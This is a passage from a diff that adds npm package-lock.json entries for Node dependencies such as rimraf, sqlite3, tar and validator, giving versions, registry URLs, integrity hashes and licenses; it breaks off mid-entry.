+ "node_modules/readdir-glob": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/readdir-glob/-/readdir-glob-1.1.3.tgz", + "integrity": "sha512-v05I2k7xN8zXvPD9N+z/uhXPaj0sUFCe2rcWZIpBsqxfP7xXFQ0tipAd/wjj1YxWyWtUS5IDJpOG82JKt2EAVA==", + "license": "Apache-2.0", + "dependencies": { + "minimatch": "^5.1.0" + } + }, + "node_modules/readdir-glob/node_modules/minimatch": { + "version": "5.1.6", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.1.6.tgz", + "integrity": "sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g==", + "license": "ISC", + "dependencies": { + "brace-expansion": "^2.0.1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/readline-sync": { + "version": "1.4.10", + "resolved": "https://registry.npmjs.org/readline-sync/-/readline-sync-1.4.10.tgz", + "integrity": "sha512-gNva8/6UAe8QYepIQH/jQ2qn91Qj0B9sYjMBBs3QOB8F2CXcKgLxQaJRP76sWVRQt+QU+8fAkCbCvjjMFu7Ycw==", + "license": "MIT", + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/reflect-metadata": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/reflect-metadata/-/reflect-metadata-0.2.2.tgz", + "integrity": "sha512-urBwgfrvVP/eAyXx4hluJivBKzuEbSQs9rKWCrCkbSxNv8mxPcUZKeuoF3Uy4mJl3Lwprp6yy5/39VWigZ4K6Q==", + "license": "Apache-2.0" + }, + "node_modules/retry": { + "version": "0.12.0", + "resolved": "https://registry.npmjs.org/retry/-/retry-0.12.0.tgz", + "integrity": "sha512-9LkiTwjUh6rT555DtE9rTX+BKByPfrMzEAtnlEtdEwr3Nkffwiihqe2bWADg+OQRjt9gl6ICdmB/ZFDCGAtSow==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">= 4" + } + }, + "node_modules/rimraf": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", + "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", + "deprecated": "Rimraf versions prior to v4 are no longer supported", + "license": "ISC", + "optional": true, + "dependencies": { + "glob": "^7.1.3" + }, + "bin": { + "rimraf": "bin.js" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/rimraf/node_modules/brace-expansion": { + "version": "1.1.12", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz", + "integrity": "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==", + "license": "MIT", + "optional": true, + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/rimraf/node_modules/glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "deprecated": "Glob versions prior to v9 are no longer supported", + "license": "ISC", + "optional": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/rimraf/node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "license": "ISC", + "optional": true, + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/safe-regex-test": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/safe-regex-test/-/safe-regex-test-1.1.0.tgz", + "integrity": "sha512-x/+Cz4YrimQxQccJf5mKEbIa1NzeCRNI5Ecl/ekmlYaampdNLPalVyIcCZNNH3MvmqBugV5TMYZXv0ljslUlaw==", + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "is-regex": "^1.2.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", + "license": "MIT", + "optional": true + }, + "node_modules/semver": { + "version": "7.7.3", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.3.tgz", + "integrity": "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q==", + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/set-blocking": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz", + "integrity": "sha512-KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw==", + "license": "ISC", + "optional": true + }, + "node_modules/set-function-length": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/set-function-length/-/set-function-length-1.2.2.tgz", + "integrity": "sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==", + "license": "MIT", + "dependencies": { + "define-data-property": "^1.1.4", + "es-errors": "^1.3.0", + "function-bind": "^1.1.2", + "get-intrinsic": "^1.2.4", + "gopd": "^1.0.1", + "has-property-descriptors": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "license": "MIT", + "dependencies": { + "shebang-regex": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/signal-exit": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz", + "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==", + "license": "ISC", + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/simple-concat": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/simple-concat/-/simple-concat-1.0.1.tgz", + "integrity": "sha512-cSFtAPtRhljv69IK0hTVZQ+OfE9nePi/rtJmw5UjHeVyVroEqJXP1sFztKUy1qU+xvz3u/sfYJLa947b7nAN2Q==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/simple-get": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/simple-get/-/simple-get-4.0.1.tgz", + "integrity": "sha512-brv7p5WgH0jmQJr1ZDDfKDOSeWWg+OVypG99A/5vYGPqJ6pxiaHLy8nxtFjBA7oMa01ebA9gfh1uMCFqOuXxvA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "dependencies": { + "decompress-response": "^6.0.0", + "once": "^1.3.1", + "simple-concat": "^1.0.0" + } + }, + "node_modules/smart-buffer": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/smart-buffer/-/smart-buffer-4.2.0.tgz", + "integrity": "sha512-94hK0Hh8rPqQl2xXc3HsaBoOXKV20MToPkcXvwbISWLEs+64sBq5kFgn2kJDHb1Pry9yrP0dxrCI9RRci7RXKg==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">= 6.0.0", + "npm": ">= 3.0.0" + } + }, + "node_modules/socks": { + "version": "2.8.7", + "resolved": "https://registry.npmjs.org/socks/-/socks-2.8.7.tgz", + "integrity": "sha512-HLpt+uLy/pxB+bum/9DzAgiKS8CX1EvbWxI4zlmgGCExImLdiad2iCwXT5Z4c9c3Eq8rP2318mPW2c+QbtjK8A==", + "license": "MIT", + "optional": true, + "dependencies": { + "ip-address": "^10.0.1", + "smart-buffer": "^4.2.0" + }, + "engines": { + "node": ">= 10.0.0", + "npm": ">= 3.0.0" + } + }, + "node_modules/socks-proxy-agent": { + "version": "6.2.1", + "resolved": "https://registry.npmjs.org/socks-proxy-agent/-/socks-proxy-agent-6.2.1.tgz", + "integrity": "sha512-a6KW9G+6B3nWZ1yB8G7pJwL3ggLy1uTzKAgCb7ttblwqdz9fMGJUuTy3uFzEP48FAs9FLILlmzDlE2JJhVQaXQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "agent-base": "^6.0.2", + "debug": "^4.3.3", + "socks": "^2.6.2" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-support": { + "version": "0.5.21", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz", + "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==", + "license": "MIT", + "dependencies": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + } + }, + "node_modules/sqlite3": { + "version": "5.1.7", + "resolved": "https://registry.npmjs.org/sqlite3/-/sqlite3-5.1.7.tgz", + "integrity": "sha512-GGIyOiFaG+TUra3JIfkI/zGP8yZYLPQ0pl1bH+ODjiX57sPhrLU5sQJn1y9bDKZUFYkX1crlrPfSYt0BKKdkog==", + "hasInstallScript": true, + "license": "BSD-3-Clause", + "dependencies": { + "bindings": "^1.5.0", + "node-addon-api": "^7.0.0", + "prebuild-install": "^7.1.1", + "tar": "^6.1.11" + }, + "optionalDependencies": { + "node-gyp": "8.x" + }, + "peerDependencies": { + "node-gyp": "8.x" + }, + "peerDependenciesMeta": { + "node-gyp": { + "optional": true + } + } + }, + "node_modules/ssri": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/ssri/-/ssri-8.0.1.tgz", + "integrity": "sha512-97qShzy1AiyxvPNIkLWoGua7xoQzzPjQ0HAH4B0rWKo7SZ6USuPcrUiAFrws0UH8RrbWmgq3LMTObhPIHbbBeQ==", + "license": "ISC", + "optional": true, + "dependencies": { + "minipass": "^3.1.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/ssri/node_modules/minipass": { + "version": "3.3.6", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", + "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "license": "ISC", + "optional": true, + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/streamx": { + "version": "2.23.0", + "resolved": "https://registry.npmjs.org/streamx/-/streamx-2.23.0.tgz", + "integrity": "sha512-kn+e44esVfn2Fa/O0CPFcex27fjIL6MkVae0Mm6q+E6f0hWv578YCERbv+4m02cjxvDsPKLnmxral/rR6lBMAg==", + "license": "MIT", + "dependencies": { + "events-universal": "^1.0.0", + "fast-fifo": "^1.3.2", + "text-decoder": "^1.1.0" + } + }, + "node_modules/string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "license": "MIT", + "dependencies": { + "safe-buffer": "~5.2.0" + } + }, + "node_modules/string-template": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/string-template/-/string-template-1.0.0.tgz", + "integrity": "sha512-SLqR3GBUXuoPP5MmYtD7ompvXiG87QjT6lzOszyXjTM86Uu7At7vNnt2xgyTLq5o9T4IxTYFyGxcULqpsmsfdg==", + "license": "MIT" + }, + "node_modules/string-width": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-5.1.2.tgz", + "integrity": "sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==", + "license": "MIT", + "dependencies": { + "eastasianwidth": "^0.2.0", + "emoji-regex": "^9.2.2", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/string-width-cjs": { + "name": "string-width", + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "license": "MIT", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/string-width-cjs/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/string-width-cjs/node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "license": "MIT" + }, + "node_modules/string-width-cjs/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/stringz": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/stringz/-/stringz-2.1.0.tgz", + "integrity": "sha512-KlywLT+MZ+v0IRepfMxRtnSvDCMc3nR1qqCs3m/qIbSOWkNZYT8XHQA31rS3TnKp0c5xjZu3M4GY/2aRKSi/6A==", + "license": "MIT", + "dependencies": { + "char-regex": "^1.0.2" + } + }, + "node_modules/strip-ansi": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.2.tgz", + "integrity": "sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA==", + "license": "MIT", + "dependencies": { + "ansi-regex": "^6.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" + } + }, + "node_modules/strip-ansi-cjs": { + "name": "strip-ansi", + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-ansi-cjs/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-json-comments": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-2.0.1.tgz", + "integrity": "sha512-4gB8na07fecVVkOI6Rs4e7T6NOTki5EmL7TUduTs6bu3EdnSycntVJ4re8kgZA+wx9IueI2Y11bfbgwtzuE0KQ==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/tar": { + "version": "6.2.1", + "resolved": "https://registry.npmjs.org/tar/-/tar-6.2.1.tgz", + "integrity": "sha512-DZ4yORTwrbTj/7MZYq2w+/ZFdI6OZ/f9SFHR+71gIVUZhOQPHzVCLpvRnPgyaMpfWxxk/4ONva3GQSyNIKRv6A==", + "license": "ISC", + "dependencies": { + "chownr": "^2.0.0", + "fs-minipass": "^2.0.0", + "minipass": "^5.0.0", + "minizlib": "^2.1.1", + "mkdirp": "^1.0.3", + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/tar-fs": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-2.1.4.tgz", + "integrity": "sha512-mDAjwmZdh7LTT6pNleZ05Yt65HC3E+NiQzl672vQG38jIrehtJk/J3mNwIg+vShQPcLF/LV7CMnDW6vjj6sfYQ==", + "license": "MIT", + "dependencies": { + "chownr": "^1.1.1", + "mkdirp-classic": "^0.5.2", + "pump": "^3.0.0", + "tar-stream": "^2.1.4" + } + }, + "node_modules/tar-fs/node_modules/chownr": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz", + "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==", + "license": "ISC" + }, + "node_modules/tar-fs/node_modules/readable-stream": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", + "license": "MIT", + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/tar-fs/node_modules/tar-stream": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-2.2.0.tgz", + "integrity": "sha512-ujeqbceABgwMZxEJnk2HDY2DlnUZ+9oEcb1KzTVfYHio0UE6dG71n60d8D2I4qNvleWrrXpmjpt7vZeF1LnMZQ==", + "license": "MIT", + "dependencies": { + "bl": "^4.0.3", + "end-of-stream": "^1.4.1", + "fs-constants": "^1.0.0", + "inherits": "^2.0.3", + "readable-stream": "^3.1.1" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/tar-stream": { + "version": "3.1.7", + "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-3.1.7.tgz", + "integrity": "sha512-qJj60CXt7IU1Ffyc3NJMjh6EkuCFej46zUqJ4J7pqYlThyd9bO0XBTmcOIhSzZJVWfsLks0+nle/j538YAW9RQ==", + "license": "MIT", + "dependencies": { + "b4a": "^1.6.4", + "fast-fifo": "^1.2.0", + "streamx": "^2.15.0" + } + }, + "node_modules/tar/node_modules/minipass": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-5.0.0.tgz", + "integrity": "sha512-3FnjYuehv9k6ovOEbyOswadCDPX1piCfhV8ncmYtHOjuPwylVWsghTLo7rabjC3Rx5xD4HDx8Wm1xnMF7S5qFQ==", + "license": "ISC", + "engines": { + "node": ">=8" + } + }, + "node_modules/tar/node_modules/mkdirp": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz", + "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==", + "license": "MIT", + "bin": { + "mkdirp": "bin/cmd.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/text-decoder": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/text-decoder/-/text-decoder-1.2.3.tgz", + "integrity": "sha512-3/o9z3X0X0fTupwsYvR03pJ/DjWuqqrfwBgTQzdWDiQSm9KitAyz/9WqsT2JQW7KV2m+bC2ol/zqpW37NHxLaA==", + "license": "Apache-2.0", + "dependencies": { + "b4a": "^1.6.4" + } + }, + "node_modules/tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", + "license": "0BSD" + }, + "node_modules/tunnel-agent": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz", + "integrity": "sha512-McnNiV1l8RYeY8tBgEpuodCC1mLUdbSN+CYBL7kJsJNInOP8UjDDEwdk6Mw60vdLLrr5NHKZhMAOSrR2NZuQ+w==", + "license": "Apache-2.0", + "dependencies": { + "safe-buffer": "^5.0.1" + }, + "engines": { + "node": "*" + } + }, + "node_modules/type-check": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.3.2.tgz", + "integrity": "sha512-ZCmOJdvOWDBYJlzAoFkC+Q0+bUyEOS1ltgp1MGU03fqHG+dbi9tBFU2Rd9QKiDZFAYrhPh2JUf7rZRIuHRKtOg==", + "license": "MIT", + "dependencies": { + "prelude-ls": "~1.1.2" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/unique-filename": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/unique-filename/-/unique-filename-1.1.1.tgz", + "integrity": "sha512-Vmp0jIp2ln35UTXuryvjzkjGdRyf9b2lTXuSYUiPmzRcl3FDtYqAwOnTJkAngD9SWhnoJzDbTKwaOrZ+STtxNQ==", + "license": "ISC", + "optional": true, + "dependencies": { + "unique-slug": "^2.0.0" + } + }, + "node_modules/unique-slug": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/unique-slug/-/unique-slug-2.0.2.tgz", + "integrity": "sha512-zoWr9ObaxALD3DOPfjPSqxt4fnZiWblxHIgeWqW8x7UqDzEtHEQLzji2cuJYQFCU6KmoJikOYAZlrTHHebjx2w==", + "license": "ISC", + "optional": true, + "dependencies": { + "imurmurhash": "^0.1.4" + } + }, + "node_modules/util": { + "version": "0.12.5", + "resolved": "https://registry.npmjs.org/util/-/util-0.12.5.tgz", + "integrity": "sha512-kZf/K6hEIrWHI6XqOFUiiMa+79wE/D8Q+NCNAWclkyg3b4d2k7s0QGepNjiABc+aR3N1PAyHL7p6UcLY6LmrnA==", + "license": "MIT", + "dependencies": { + "inherits": "^2.0.3", + "is-arguments": "^1.0.4", + "is-generator-function": "^1.0.7", + "is-typed-array": "^1.1.3", + "which-typed-array": "^1.1.2" + } + }, + "node_modules/util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", + "license": "MIT" + }, + "node_modules/validator": { + "version": "13.15.23", + "resolved": "https://registry.npmjs.org/validator/-/validator-13.15.23.tgz", + "integrity": "sha512-4yoz1kEWqUjzi5zsPbAS/903QXSYp0UOtHsPpp7p9rHAw/W+dkInskAE386Fat3oKRROwO98d9ZB0G4cObgUyw==", + "license": "MIT", + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "license": "ISC", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/which-typed-array": { + "version": "1.1.19", + "resolved": "https://registry.npmjs.org/which-typed-array/-/which-typed-array-1.1.19.tgz", + "integrity": "sha512-rEvr90Bck4WZt9HHFC4DJMsjvu7x+r6bImz0/BrbWb7A2djJ8hnZMrWnHo9F8ssv0OMErasDhftrfROTyqSDrw==", + "license": "MIT", + "dependencies": { + "available-typed-arrays": "^1.0.7", + "call-bind": "^1.0.8", + "call-bound": "^1.0.4", + "for-each": "^0.3.5", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "has-tostringtag": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/wide-align": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/wide-align/-/wide-align-1.1.5.tgz", + "integrity": "sha512-eDMORYaPNZ4sQIuuYPDHdQvf4gyCF9rEEV/yPxGfwPkRodwEgiMUUXTx/dex+Me0wxx53S+NgUHaP7y3MGlDmg==", + "license": "ISC", + "optional": true, + "dependencies": { + "string-width": "^1.0.2 || 2 || 3 || 4" + } + }, + "node_modules/wide-align/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/wide-align/node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "license": "MIT", + "optional": true + }, + "node_modules/wide-align/node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": 